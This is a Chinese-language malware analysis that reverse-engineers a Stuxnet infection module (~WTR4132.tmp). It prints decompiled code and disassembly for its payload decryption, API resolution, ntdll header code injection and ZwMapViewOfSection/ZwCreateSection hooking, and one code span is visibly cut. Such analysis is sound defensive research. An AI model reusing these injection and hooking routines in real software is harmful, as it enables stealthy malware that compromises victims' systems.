《附录一:主要感染模块~WTR4132.tmp的逆向分析》 By nEINEI 一 基本信息 二 整体入口函数 三 各个独立的功能分析简析 四 dump-exe分析 五 dump-资源241分析 六 总结 一 基本信息 md5:74DDC49A7C121A61B8D06C03F92D0C13 file size:505.50 KB (517632 bytes) timedate stamp:周一 3月 1 13:52:35 2010 文件名称:~WTR4132.tmp 这种伪造的手法,我们在projectsanor 里面也看到过,另外从cia泄密的文件中也可以看到类似的手法。 伪造了一个导出函数: LONG CPlApplet( HWND hwndCPl, UINT uMsg, LPARAM lParam1, LPARAM lParam2 ); 使用标准的控制面板程序控制面板程序实际上就是一个DLL(动态链接库)文件,关键是它实现了CPlApplet函数 。CPlApplet是一个回调(callback)函数,它处理所有发送给控制面板应用程序的消息。当控制面板应用程序 运行起来时,调用它的程序从该控制面板应用程序中取得CPlApplet函数的地址,然后用该地址调用CPlApplet函 数,并将消息传递给它。 正的cpl的导出函数: .text:5188FA30 ; __int32 __stdcall CPlApplet(HWND, unsigned int, __int32, __int32) .text:5188FA30 public ?CPlApplet@@YGJPAUHWND__@@IJJ@Z .text:5188FA30 ?CPlApplet@@YGJPAUHWND__@@IJJ@Z proc near ; DATA XREF: .text:518811A .text:5188FA30 ; .text:off_518A1CA8 .text:5188FA30 .text:5188FA30 arg_0 = dword ptr 8 .text:5188FA30 arg_4 = dword ptr 0Ch .text:5188FA30 arg_8 = dword ptr 10h .text:5188FA30 arg_C = dword ptr 14h .text:5188FA30 .text:5188FA30 mov edi, edi .text:5188FA32 push ebp ; HWND .text:5188FA33 mov ebp, esp .text:5188FA35 mov eax, [ebp+arg_4] 所有导出的函数入口,全都调用恶意的A_Cld_r_int_JugeOsVersion_and_call_0一遍,这样并不高级。 int A_Cld_r_int_JugeOsVersion_and_call_0() { int result; // eax@1 struct _OSVERSIONINFOW VersionInformation; // [sp+0h] [bp-114h]@1 VersionInformation.dwOSVersionInfoSize = 0x114; result = GetVersionExW(&VersionInformation); if ( result && VersionInformation.dwPlatformId == 2 && (VersionInformation.dwMajorVersion >= 5 || VersionInformation.dwMajorVersion <= 6) )// 仅仅感染 win2000 ~ win7 { result = A_AttackFunc(); } return result; } 二 整体入口函数 //整体的执行过程从这里开始 int A_AttackFunc() { int result; // eax _DWORD *pCopyEncodeData; // esi FARPROC v2; // eax int pEncodeDataLen; // [esp+0h] [ebp-Ch] _DWORD *pEncodeData; // [esp+4h] [ebp-8h] HMODULE hModule; // [esp+8h] [ebp-4h] //找到stub节数据 result = A_find_EncodeData_sub_10001161(&pEncodeData, &pEncodeDataLen); if ( result ) { pCopyEncodeData = pEncodeData; //解密节 A_DecodeData_sub_10001103((int)pEncodeData + *pEncodeData, pEncodeData[1]); //安装组件 result = A_InstallStuxnetComp_sub_10001969( 0, (int)pCopyEncodeData + *pCopyEncodeData, pCopyEncodeData[1], (int)&hModule); if ( !result ) { v2 = GetProcAddress(hModule, (LPCSTR)0xF); if ( v2 ) ((void (__cdecl *)(_DWORD *, int))v2)(pCopyEncodeData, pEncodeDataLen); result = FreeLibrary(hModule); } } return result; } .Stub 并不是一个通用的节名称。 signed int __cdecl A_find_EncodeData_sub_10001161(_DWORD *pEncodeData, _DWORD *pEncodeDataLen) { int vPEHeader; // esi int pSectionName; // edi signed int v5; // ebx unsigned int v6; // ecx _DWORD *v7; // eax if ( *(_WORD *)g_MZHeader_dword_1000401C != 0x5A4D ) return 0; vPEHeader = g_MZHeader_dword_1000401C + *(_DWORD *)(g_MZHeader_dword_1000401C + 0x3C); if ( *(_DWORD *)vPEHeader != 0x4550 ) return 0; pSectionName = *(unsigned __int16 *)(vPEHeader + 0x14) + vPEHeader + 0x18; v5 = 0; if ( *(_WORD *)(vPEHeader + 6) <= 0u ) return 0; while ( lstrcmpiA((LPCSTR)pSectionName, ".stub") ) { ++v5; pSectionName += 40; if ( v5 >= *(unsigned __int16 *)(vPEHeader + 6) ) return 0; } v6 = *(_DWORD *)(pSectionName + 8); if ( v6 < 0x22C ) return 0; v7 = (_DWORD *)(g_MZHeader_dword_1000401C + *(_DWORD *)(pSectionName + 0xC)); if ( *v7 != 0xAE39120D ) return 0; *pEncodeData = v7 + 1; *pEncodeDataLen = v6 - 4; return 1; } 在此处方式了一个比较标志。 if ( virsize < 0x22C || (v7 = (_DWORD *)(hSelfModAddr + *(_DWORD *)(v4 + 12)), *v7 != 0xAE39120D) ) Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00002600 0D 12 39 AE 28 02 00 00 00 9A 07 00 28 9C 07 00 9? ? (? 00002610 5A 00 00 00 82 9C 07 00 E6 1A 00 00 00 00 00 00 Z 倻 ? 00002620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 前4位是魔数,后面开始 struct tagDecryptInfo { int Magic; int DecryptOffset ;// 当对于当前这个结构的偏移 int DecryptLen; //揭秘的长度 } // 整个的解密过程略显简单 unsigned int __usercall A_DecodeData_sub_10001103@(int pEncodeData@, unsigned int pEncodeDataLen@) { unsigned int v2; // edx unsigned int v3; // eax unsigned int result; // eax signed int v5; // [esp+8h] [ebp-8h] unsigned int v6; // [esp+Ch] [ebp-4h] v6 = pEncodeDataLen >> 1; v5 = 4; do { v2 = 0; if ( pEncodeDataLen ) { do { *(_BYTE *)(v2 + pEncodeData) ^= 0x96 * (_BYTE)v2; ++v2; } while ( v2 < pEncodeDataLen ); } v3 = 0; if ( v6 ) { do { *(_BYTE *)(v3 + pEncodeData) ^= *(_BYTE *)(((pEncodeDataLen + 1) >> 1) + pEncodeData + v3); ++v3; } while ( v3 < v6 ); } for ( result = pEncodeDataLen - 1; result >= 1; --result ) *(_BYTE *)(result + pEncodeData) -= *(_BYTE *)(result + pEncodeData - 1); --v5; } while ( v5 >= 0 ); return result; } 有点怪异的加密串: 10003044 40 AE 5C AE 57 AE 5E AE 21 AE 20 AE 3C AE 56 AE @?\?W?^?!? ?= 31 ) return -1; lstrcpyW(&Info_struct_cfg->wchar10, lpStringModName); } else { v3 = GetTickCount(); v5 = 3 * GetCurrentThreadId() + v3; A_DecodeName_sub_10001F81(&g_EncodeName_unk_10003040, &vWcharArray); do wsprintfW(&Info_struct_cfg->wchar10, &vWcharArray, v5++); // 这里格式化了这个随机的地址 while ( GetModuleHandleW(&Info_struct_cfg->wchar10) ); } Info_struct_cfg->key = (unsigned int)Info_struct_cfg ^ 0xAE1979DD; Info_struct_cfg->dword4 = 0; Info_struct_cfg->pfnFindAddressFun = A_FixRelocAddr_sub_10002334; // 修正重定位的函数地址 return 0; } 在这个模块中,stuxnet 中并没有使用非常复杂加解密算法,而是各种不同的加解密混合使用,这使得这个分析过程变得比较琐碎枯燥。又例如,下面是解谜字符串一例用来获得模块名称 // 这个函数用来解密模块名称 _int16 __cdecl Decode_StringByModule1_sub_10001F81(_WORD *a1, _WORD *a2) { _WORD *v2; // ecx __int16 result; // ax bool v4; // zf _WORD *v5; // edx v2 = a1; if ( a1 ) { result = *a1 ^ 0xAE12; v4 = *a1 == -20974; v5 = a2; for ( *a2 = result; !v4; *v5 = result ) { ++v2; ++v5; result = *v2 ^ 0xAE12; v4 = *v2 == -20974; } } else { result = 0; *a2 = 0; } return result; } // 这一例又解密函数名称,对于逆向分析人员来讲,这不增加任何破解难度,但增加了些许工作量。 _BYTE *__cdecl Decode_StringByModule2_sub_10001F5E(_BYTE *a1, _BYTE *a2) { _BYTE *result; // eax _BYTE *i; // ecx bool v4; // zf result = a1; if ( a1 ) { for ( i = a2; ; ++i ) { v4 = *result == 18; *i = *result ^ 0x12; if ( v4 ) break; result += 2; } } else { result = a2; *a2 = 0; } return result; } 整体的获得函数必要的函数指针解密过程: // write access to const memory has been detected, the output may be wrong! signed int __thiscall A_Decode_AllFunc_sub_1000126B(void *this) { DWORD flOldProtect; // [esp+0h] [ebp-4h] flOldProtect = (DWORD)this; if ( !VirtualProtect(&g_addr_dword_10001F1A, 0x44u, 0x80u, &flOldProtect) && !VirtualProtect(&g_addr_dword_10001F1A, 0x44u, 0x40u, &flOldProtect) ) { return 0; } g_addr_dword_10001F1A = GetNt_ModuleAddr_sub_10001FBE(); *(_DWORD *)lstrcmpiW_dword_10001F22 = A_GetFuncByKernel_sub_1000203E((int)&unk_10003070); VirtualQuery_dword_10001F26 = (int)A_GetFuncByKernel_sub_1000203E((int)&unk_10003084); VirtualProtect_dword_10001F2A = (int)A_GetFuncByKernel_sub_1000203E((int)&unk_100030A0); GetProcAddress_dword_10001F2E = (int)A_GetFuncByKernel_sub_1000203E((int)&unk_100030C0); MapViewOfFile_dword_10001F32 = (int)A_GetFuncByKernel_sub_1000203E((int)&unk_100030E0); UnmapViewOfFile_dword_10001F36 = (int (__stdcall *)(_DWORD))A_GetFuncByKernel_sub_1000203E((int)&unk_100030FC); FlushInstructionCache_dword_10001F3A = (int)A_GetFuncByKernel_sub_1000203E((int)&unk_1000311C); LoadLibraryW_dword_10001F3E = (int)A_GetFuncByKernel_sub_1000203E((int)&unk_10003148); FreeLibrary__dword_10001F42 = (int)A_GetFuncByKernel_sub_1000203E((int)&unk_10003164); ZwCreateSection_dword_10001F46 = A_GetFuncByNtdll_sub_1000204F(&unk_1000317C); ZwMapViewOfSection_dword_10001F4A = A_GetFuncByNtdll_sub_1000204F(&unk_1000319C); CreateThread_dword_10001F4E = (int)A_GetFuncByKernel_sub_1000203E((int)&unk_100031C4); WaitForSingleObject_dword_10001F52 = (int)A_GetFuncByKernel_sub_1000203E((int)&unk_100031E0); GetExitCodeThread_dword_10001F56 = (int)A_GetFuncByKernel_sub_1000203E((int)&unk_10003208); ZwClose_dword_10001F5A = A_GetFuncByNtdll_sub_1000204F(&unk_1000322C); return 1; } 在copy 病毒代码到共享节区的部分使用了很有技巧性的方式, 1000202A /$ 55 push ebp 1000202B |. 8BEC mov ebp,esp 1000202D |. 56 push esi ; large.1000622C 1000202E |. 57 push edi 1000202F |. 8B7D 08 mov edi,[arg.1] 10002032 |. 8B75 0C mov esi,[arg.2] ; large.1000622C 10002035 |. 8B4D 10 mov ecx,[arg.3] 10002038 |. F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[esi]. // esi = 1000622c, edi = 1420098(section , RWE), size = 79a00; 1000203A |. 5F pop edi 1000203B |. 5E pop esi ; large.1000622C 1000203C |. 5D pop ebp 1000203D \. C3 retn // esi ---> 这里就是.stub 节区里面的数据,包含了另外一个PE文件。 1000622C 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ?.......??.. 1000623C B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ?.......@....... 1000624C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 1000625C 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 .............. 1000626C 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ?.?.?!?L?!Th 1000627C 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno 1000628C 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS 1000629C 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode....$....... 100062AC C7 1C 48 B9 83 7D 26 EA 83 7D 26 EA 83 7D 26 EA ?H??}&ê?}&ê?}&ê 100062BC A4 BB 4B EA 81 7D 26 EA 9D 2F A2 EA 88 7D 26 EA ¤?Kê?}&ê?/?ê?}&ê 100062CC 9D 2F B3 EA 96 7D 26 EA 9D 2F A5 EA 85 7D 26 EA ?/?ê–}&ê?/?ê…}&ê 100062DC 8A 05 A2 EA A1 7D 26 EA 8A 05 B3 EA 81 7D 26 EA ??ê?}&ê??ê?}&ê 100062EC 8A 05 A5 EA DF 7D 26 EA A4 BB 5D EA A2 7D 26 EA ??ê?}&ê¤?]ê?}&ê 100062FC 83 7D 27 EA B6 7C 26 EA 8A 05 AC EA 5D 7D 26 EA ?}'ê?|&ê??ê]}&ê 这里这样一个结构,开始的配置信息+PE data 01420000 AE0B8465 01420004 00000000 01420008 00000000 0142000C 10002334 large.10002334 01420010 0045004B 01420014 004E0052 01420018 004C0045 0142001C 00320033 01420020 0044002E 01420024 004C004C 01420028 0041002E 0142002C 004C0053 01420030 002E0052 01420034 00340030 01420038 00360061 0142003C 00650066 01420040 00300033 01420044 00000000 01420048 00000000 0142004C 7AC9ED36 01420050 0012FE30 01420054 76D32278 kernel32.76D32278 01420058 00000400 0142005C 40000001 01420060 10000288 ASCII ".stub" 01420064 FFFFFFFF 01420068 100032B8 ASCII ".stub" 0142006C FFFFFFFF 01420070 100000F0 ASCII "PE" 01420074 00000004 01420078 0012FE64 0142007C 100011A5 large.100011A5 01420080 00000000 01420084 014A0098 01420088 00000000 0142008C 014A0098 01420090 00079A00 01420094 FFFFFFFF 01420098 00905A4D。------ .stub 节映射的PE文件信息 0142009C 00000003 014200A0 00000004 014200A4 0000FFFF 014200A8 000000B8 014200AC 00000000 // 这里使用了一个技巧,以这里的e8 13 00 00 00 为一个函数的起点,用Decode_StringByModule2_sub_10001F5E - 10001AB9 = 4A5 另一个code size = 10001AB9 - 10001A90 = 29; 另外还有一个注入的code size,几个codesize总和 = 0xB3A 10001A90 : .text:10001A90 3B 10 cmp edx, [eax] .text:10001A92 49 dec ecx .text:10001A93 AB stosd .text:10001A94 B2 00 mov dl, 0 .text:10001A96 EB 14 jmp short loc_10001AAC .text:10001A98 ; --------------------------------------------------------------------------- .text:10001A98 B2 01 mov dl, 1 .text:10001A9A EB 10 jmp short loc_10001AAC .text:10001A9C ; --------------------------------------------------------------------------- .text:10001A9C B2 02 mov dl, 2 .text:10001A9E EB 0C jmp short loc_10001AAC .text:10001AA0 ; --------------------------------------------------------------------------- .text:10001AA0 B2 03 mov dl, 3 .text:10001AA2 EB 08 jmp short loc_10001AAC .text:10001AA4 ; --------------------------------------------------------------------------- .text:10001AA4 B2 04 mov dl, 4 .text:10001AA6 EB 04 jmp short loc_10001AAC .text:10001AA8 ; --------------------------------------------------------------------------- .text:10001AA8 B2 05 mov dl, 5 .text:10001AAA EB 00 jmp short $+2 .text:10001AAC ; --------------------------------------------------------------------------- .text:10001AAC .text:10001AAC loc_10001AAC: ; CODE XREF: .text:10001A96↑j .text:10001AAC ; .text:10001A9A↑j ... .text:10001AAC 52 push edx .text:10001AAD E8 04 00 00 00 call sub_10001AB6 //------------- 关键的一个code block ,都是以它做的长度计算----------------- 10001AB9 E8 db E8 10001ABA 13 db 13 10001ABB 00 db 00 10001ABC 00 db 00 10001ABD 00 db 00 10001ABE . 5A 77 4D 61 7>ascii "ZwMapViewOfSecti" 10001ACE . 6F 6E 00 ascii "on",0 10001AD1 5A db 5A ; CHAR 'Z' 10001AD2 51 db 51 ; CHAR 'Q' 10001AD3 81 db 81 10001AD4 C1 db C1 10001AD5 04 db 04 10001AD6 00 db 00 10001AD7 00 db 00 10001AD8 00 db 00 10001AD9 E8 db E8 10001ADA 66 db 66 ; CHAR 'f' 10001ADB 03 db 03 10001ADC 00 db 00 10001ADD 00 db 00 10001ADE 59 db 59 ; CHAR 'Y' 10001ADF E8 db E8 10001AE0 10 db 10 10001AE1 00 db 00 10001AE2 00 db 00 10001AE3 00 db 00 10001AE4 . 5A 77 43 72 6>ascii "ZwCreateSection",0 10001AF4 5A db 5A ; CHAR 'Z' 10001AF5 51 db 51 ; CHAR 'Q' 10001AF6 81 db 81 10001AF7 C1 db C1 10001AF8 08 db 08 10001AF9 00 db 00 10001AFA 00 db 00 10001AFB 00 db 00 10001AFC E8 db E8 10001AFD 43 db 43 ; CHAR 'C' 10001AFE 03 db 03 10001AFF 00 db 00 10001B00 00 db 00 10001B01 59 db 59 ; CHAR 'Y' 10001B02 E8 db E8 10001B03 0B db 0B 10001B04 00 db 00 10001B05 00 db 00 10001B06 00 db 00 10001B07 . 5A 77 4F 70 6>ascii "ZwOpenFile",0 10001B12 5A db 5A ; CHAR 'Z' 10001B13 51 db 51 ; CHAR 'Q' 10001B14 81 db 81 10001B15 C1 db C1 10001B16 0C db 0C 10001B17 00 db 00 10001B18 00 db 00 10001B19 00 db 00 10001B1A E8 db E8 10001B1B 25 db 25 ; CHAR '%' 10001B1C 03 db 03 10001B1D 00 db 00 10001B1E 00 db 00 10001B1F 59 db 59 ; CHAR 'Y' 10001B20 E8 db E8 10001B21 08 db 08 10001B22 00 db 00 10001B23 00 db 00 10001B24 00 db 00 10001B25 . 5A 77 43 6C 6>ascii "ZwClose",0 10001B2D 5A db 5A ; CHAR 'Z' 10001B2E 51 db 51 ; CHAR 'Q' 10001B2F 81 db 81 10001B30 C1 db C1 10001B31 10 db 10 10001B32 00 db 00 10001B33 00 db 00 10001B34 00 db 00 10001B35 E8 db E8 10001B36 0A db 0A 10001B37 03 db 03 10001B38 00 db 00 10001B39 00 db 00 10001B3A 59 db 59 ; CHAR 'Y' 10001B3B E8 db E8 10001B3C 16 db 16 10001B3D 00 db 00 10001B3E 00 db 00 10001B3F 00 db 00 10001B40 . 5A 77 51 75 6>ascii "ZwQueryAttribute" 10001B50 . 73 46 69 6C 6>ascii "sFile",0 10001B56 . 5A pop edx ; ntdll.KiFastSystemCallRet 10001B57 . 51 push ecx 10001B58 . 81C1 14000000 add ecx,0x14 10001B5E . E8 E1020000 call large.10001E44 10001B63 . 59 pop ecx 10001B64 . E8 0F000000 call large.10001B78 ; PUSH ASCII "ZwQuerySection" 10001B69 . 5A 77 51 75 6>ascii "ZwQuerySection",0 10001B78 > 5A pop edx ; ntdll.KiFastSystemCallRet 10001B79 . 51 push ecx 10001B7A . 81C1 18000000 add ecx,0x18 10001B80 . E8 BF020000 call large.10001E44 10001B85 . 59 pop ecx 10001B86 . C3 retn 10001B87 . 5A pop edx ; ntdll.KiFastSystemCallRet 10001B88 . 84D2 test dl,dl ; Switch (cases 0..4) 10001B8A . 74 25 je short large.10001BB1 10001B8C . FECA dec dl 10001B8E . 0F84 82000000 je large.10001C16 10001B94 . FECA dec dl 10001B96 . 0F84 BB000000 je large.10001C57 这些代码都copy到 2c0000 位置, 最终copy到 2d0000位置 1 --- asm code 2 --- asm code 3 --- inject code 在数据的开头放置了这些记录 002C0000 002D0690 -------- inject code 002C0004 002D07C6 -------- 002C0008 002D0024 002C000C 000004A5 002C0010 002D04F2 002C0014 00000648 002C0018 002D04C9 002C001C 00000029 002C0020 00000000 002C0024 000013E8 002C0028 4D775A00 002C002C 69567061 002C0030 664F7765 002C0034 74636553 002C0038 006E6F69 002C003C C181515A 002C0040 00000004 002C0044 000366E8 002C0048 10E85900 002C004C 5A000000 //--- 注入到函数 injectvirus(asmmap= 2d0000, virinfo = 1450090, geninfo = 12fdc0) // copy 一段asm code 到ntdll 文件头的部分, ntdll base addr = 771d0000; 771D0040 3B10 cmp edx,dword ptr ds:[eax] 771D0042 49 dec ecx 771D0043 AB stos dword ptr es:[edi] 771D0044 B2 00 mov dl,0x0 771D0046 EB 14 jmp short ntdll.771D005C 771D0048 B2 01 mov dl,0x1 771D004A EB 10 jmp short ntdll.771D005C 771D004C B2 02 mov dl,0x2 771D004E EB 0C jmp short ntdll.771D005C 771D0050 B2 03 mov dl,0x3 771D0052 EB 08 jmp short ntdll.771D005C 771D0054 B2 04 mov dl,0x4 771D0056 EB 04 jmp short ntdll.771D005C 771D0058 B2 05 mov dl,0x5 771D005A EB 00 jmp short ntdll.771D005C 771D005C 52 push edx ; ntdll.KiFastSystemCallRet 771D005D E8 04000000 call ntdll.771D0066 执行asm 代码片段: 002D0024 E8 13 00 00 00 5A 77 4D 61 70 56 69 65 77 4F 66 è...ZwMapViewOf 002D0034 53 65 63 74 69 6F 6E 00 5A 51 81 C1 04 00 00 00 Section.ZQ??... 002D0044 E8 66 03 00 00 59 E8 10 00 00 00 5A 77 43 72 65 èf..Yè...ZwCre 002D0054 61 74 65 53 65 63 74 69 6F 6E 00 5A 51 81 C1 08 ateSection.ZQ?? 002D0064 00 00 00 E8 43 03 00 00 59 E8 0B 00 00 00 5A 77 ...èC..Yè ...Zw 002D0074 4F 70 65 6E 46 69 6C 65 00 5A 51 81 C1 0C 00 00 OpenFile.ZQ??... 002D0084 00 E8 25 03 00 00 59 E8 08 00 00 00 5A 77 43 6C .è%..Yè...ZwCl 实际上是: 002D0024 E8 13000000 call 002D003C // 这个call 执行完毕会把zwMapViewOfSection 压入esp 002D0029 5A pop edx ; large.100025B7 002D002A 77 4D ja short 002D0079 002D002C 61 popad 002D002D 70 56 jo short 002D0085 002D003C 5A pop edx ; 002D0029 //此时指向了 “zwMapViewOfSection” 002D003D 51 push ecx ; 指向了 ntdll.771D0040 002D003E 81C1 04000000 add ecx,0x4 // ;指向了上面的 “771D0044 B2 00 mov dl,0x0” 这一句 002D0044 E8 66030000 call 002D03AF 002D03AF 50 push eax ;压入2D0024 => asm code 片段 002D03B0 51 push ecx ; “771D0044 B2 00 mov dl,0x0” 这一句 002D03B1 52 push edx ; //此时指向了 “zwMapViewOfSection” 002D03B2 E8 A5FFFFFF call 002D035C 002D035C E8 00000000 call 002D0361 ; 重定位自身 002D0361 5A pop edx ; 得到当前虚拟地址 002D0362 81C2 24010000 add edx,0x124 ; 指向了2d0485 ; 002D0368 C3 retn // 2d0485 内容: 002D0485 771D0000 offset ntdll. 002D0489 00000000 002D048D 76D3A8EB kernel32.lstrcmpiW 002D0491 76D476D6 kernel32.VirtualQuery 002D0495 76D32341 kernel32.VirtualProtect 002D0499 76D433D3 kernel32.GetProcAddress 002D049D 76D3899B kernel32.MapViewOfFile 002D04A1 76D3DB13 kernel32.UnmapViewOfFile 002D04A5 76D323C6 kernel32.FlushInstructionCache 002D04A9 76D43C01 kernel32.LoadLibraryW 002D04AD 76D3D9D0 kernel32.FreeLibrary 002D04B1 772156E8 ntdll.ZwCreateSection 002D04B5 77215C28 ntdll.ZwMapViewOfSection 002D04B9 76D4375D kernel32.CreateThread 002D04BD 76D3BA90 kernel32.WaitForSingleObject 002D04C1 76D26DDD kernel32.GetExitCodeThread 002D04C5 772154C8 ntdll.ZwClose 002D03B7 C742 04 0000000>mov dword ptr ds:[edx+0x4],0x0 002D03BE FF32 push dword ptr ds:[edx] ; ntdll. 002D03C0 FF52 14 call dword ptr ds:[edx+0x14] ; 调用kernel32.GetProcAddress (ntdllhandle,“zwMapViewOfSection”) 002D03C3 59 pop ecx ; ntdll. 002D03C4 85C0 test eax,eax 002D03C6 0F84 B7000000 je 002D0483 002D03CC 50 push eax ; //0012FCD8 77215C28 ntdll.ZwMapViewOfSection 002D03CD 51 push ecx ; ntdll.771D0044 -- 注入的asm code 002D03CE 50 push eax ;指向zwMapViewOfSection 002D03CF 54 push esp ;12fcd0 -> //0012FCD0 77215C28 ntdll.ZwMapViewOfSection //0012FCD4 771D0044 ntdll.771D0044 //0012FCD8 77215C28 ntdll.ZwMapViewOfSection 002D03D0 68 80000000 push 0x80 ;80 002D03D5 6A 18 push 0x18 ; 18 002D03D7 50 push eax ;指向zwMapViewOfSection 002D03D8 E8 7FFFFFFF call 002D035C 002D035C E8 00000000 call 002D0361 //重定位自身 002D0361 5A pop edx ; 002D0361 002D0362 81C2 24010000 add edx,0x124 // 2d0485 -- API list 002D0368 C3 retn 002D03DD FF52 10 call dword ptr ds:[edx+0x10] ; kernel32.VirtualProtect(0x77215c28,18,80) 002D03E0 5A pop edx ; ntdll.ZwMapViewOfSection 002D03E1 8BD0 mov edx,eax ; ntdll.ZwMapViewOfSection 002D03E3 59 pop ecx ; ntdll.ZwMapViewOfSection 002D03E4 58 pop eax ; ntdll.ZwMapViewOfSection 002D03E5 85D2 test edx,edx //对于要修改的ntdll 的代码区域是这样的地方, 77215C28 > B8 A8000000 mov eax,0xA8 // 这里实际上就是ntdll里面对应NtMapViewOfSection 77215C2D BA 0003FE7F mov edx,0x7FFE0300 77215C32 FF12 call dword ptr ds:[edx] 77215C34 C2 2800 retn 0x28 77215C37 90 nop 002D0474 66:8178 0A FF12 cmp word ptr ds:[eax+0xA],0x12FF 002D047A 75 07 jnz short 002D0483 002D047C C640 0B D2 mov byte ptr ds:[eax+0xB],0xD2 ; //通过硬编码判断会执行到这里,然后修改77215C33 处ff 12 --->变为 ff d2 , 002D0480 8948 06 mov dword ptr ds:[eax+0x6],ecx ; 替换原7ffe0300 为 ntdll.771D0044 (asm 代码片段) 002D0483 58 pop eax ; 002D0024 002D0484 C3 retn 77215C28 > B8 A8000000 mov eax,0xA8 77215C2D BA 0003FE7F mov edx,771D0044 // 原本 0x7FFE0300—> KiFastSystemCall 77215C32 FFD2 call edx // 原本 call ds:[edx] 间接寻址,变为了直接寄存器调用 77215C34 C2 2800 retn 0x28 002D0049 59 pop ecx ; ntdll.771D0040 -> 指向2d0024; 002D004A E8 10000000 call 002D005F 002D005F 5A pop edx ; 002D004F 002D0060 51 push ecx ; ntdll.771D0040 002D0061 81C1 08000000 add ecx,0x8 002D0067 E8 43030000 call 002D03AF // 继续用此方式hook “zwCreateSection”, 100025BB |. 6A FF push -0x1 100025BD |. 8B45 0C mov eax,[arg.2] 100025C0 |. FF50 20 call dword ptr ds:[eax+0x20] ; kernel32.FlushInstructionCache 100025C3 |. 33C0 xor eax,eax 100025C5 |> C9 leave 100025C6 \. C3 retn 之后,通过loadlibraryW( "%windows%\KERNEL32.DLL.ASLR.04a6fe30") 来加载一个随机生成的不存在dll路径,04a6fe30 为随机产生的数字. 因为一句hook了zwMapViewOfSection,这样LoadlibraryW的内部会执行这里的代码, zwMapViewofSection 77215C28 > B8 A8000000 mov eax,0xA8 77215C2D BA 0003FE7F mov edx,771D0044 //原本edx = KiFastSystemCall,此时已经被改写为771d0044,stuxnet的asm code片段 77215C32 FFD2 call edx //这里调用使得流程转向了ntdll 头部的asm code 片段 77215C34 C2 2800 retn 0x28 771D0044 B2 00 mov dl,0x0 771D0046 EB 14 jmp short ntdll.771D005C //跳转了 771D0048 B2 01 mov dl,0x1 771D004A EB 10 jmp short ntdll.771D005C 771D004C B2 02 mov dl,0x2 771D004E EB 0C jmp short ntdll.771D005C 771D0050 B2 03 mov dl,0x3 771D0052 EB 08 jmp short ntdll.771D005C 771D0054 B2 04 mov dl,0x4 771D0056 EB 04 jmp short ntdll.771D005C 771D0058 B2 05 mov dl,0x5 771D005A EB 00 jmp short ntdll.771D005C 771D005C 52 push edx ; 到这里ntdll.771D0062 771D005D E8 04000000 call ntdll.771D0066 //继续到这里 771D0066 5A pop edx ; ntdll. 771D0067 - FF22 jmp dword ptr ds:[edx] // 此时edx =771d0062 // 771d0062 是被修改的ntdll的头部 771D0062 F2 00 2E 00 5A FF 22 69 6E 20 44 4F 53 20 6D 6F ò...Z?"in DOS mo 771D0072 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 AD 67 de....$.......g 771D0082 41 3D E9 06 2F 6E E9 06 2F 6E E9 06 2F 6E E0 7E A=é/né/né/nà~ 771D0092 BD 6E E8 06 2F 6E E0 7E BA 6E A8 06 2F 6E E0 7E ?nè/nà~?n¨/nà~ // 显然取出了0x2e00f2 作为跳转的地址,从新走入asm code 片段 002E00F2 5A pop edx 002E00F3 84D2 test dl,dl 002E00F5 74 25 je short 002E011C //跳走 002E00F7 FECA dec dl 002E00F9 0F84 82000000 je 002E0181 002E00FF FECA dec dl 002E0101 0F84 BB000000 je 002E01C2 002E0107 FECA dec dl 002E0109 0F84 FE000000 je 002E020D 002E010F FECA dec dl 002E0111 0F84 40010000 je 002E0257 002E0117 E9 8C010000 jmp 002E02A8 002E011C E8 F9010000 call 002E031A // 来到这里 002E0121 85D2 test edx,edx // call 来到这里 002E031A 50 push eax 002E031B 56 push esi 002E031C 57 push edi 002E031D 51 push ecx 002E031E 52 push edx ; ntdll. 002E031F 83EC 1C sub esp,0x1C 002E0322 8BC4 mov eax,esp 002E0324 6A 1C push 0x1C 002E0326 50 push eax 002E0327 54 push esp 002E0328 E8 2F000000 call 002E035C //跳走 // call 到这里 002E035C E8 00000000 call 002E0361 002E0361 5A pop edx ; 此时 edx 指向了gen info 里面记录的API 地址列表中的开始处, 002E0362 81C2 24010000 add edx,0x124 002E0368 C3 retn // 这是esp 指向了0x2e032d // 此时的edx 002E0485 771D0000 offset ntdll. 002E0489 00000000 002E048D 76D3A8EB kernel32.lstrcmpiW 002E0491 76D476D6 kernel32.VirtualQuery 002E0495 76D32341 kernel32.VirtualProtect 002E0499 76D433D3 kernel32.GetProcAddress 002E049D 76D3899B kernel32.MapViewOfFile 002E04A1 76D3DB13 kernel32.UnmapViewOfFile 002E04A5 76D323C6 kernel32.FlushInstructionCache 002E04A9 76D43C01 kernel32.LoadLibraryW 002E04AD 76D3D9D0 kernel32.FreeLibrary 002E04B1 772156E8 ntdll.ZwCreateSection 002E04B5 77215C28 ntdll.ZwMapViewOfSection 002E04B9 76D4375D kernel32.CreateThread 002E04BD 76D3BA90 kernel32.WaitForSingleObject 002E04C1 76D26DDD kernel32.GetExitCodeThread 002E04C5 772154C8 ntdll.ZwClose //0x2e032d 002E032D FF52 0C call dword ptr ds:[edx+0xC] // 查看上面列表可知,当前指向了 kernel32.VirtualQuery(0x12f9dc,0x12f9e4,0x1c) 002E0330 8B3C24 mov edi,dword ptr ss:[esp]. // esp = 12f9e4 = 12f000 ; 也就是上面api输出的第二参数 002E0333 037C24 0C add edi,dword ptr ss:[esp+0xC] // edi = 130000 ; 002E0337 83C4 1C add esp,0x1C 002E033A 5A pop edx ; 0012F9DC 002E033B 59 pop ecx ; 0012F9DC //这段代码很短,但也很特别,我仔细看了好久在猜想其原因,这里解密的密钥0xAE1979DD是个很显眼的标志,duqu能被识别也有这个数字的功劳。 //这个值说明找到了之前的一个临时变量对应的数据结构, 002E033C 8BF4 mov esi,esp 002E033E 3BF7 cmp esi,edi ;在130000 ~ 12fa10区间 002E0340 73 12 jnb short 002E0354 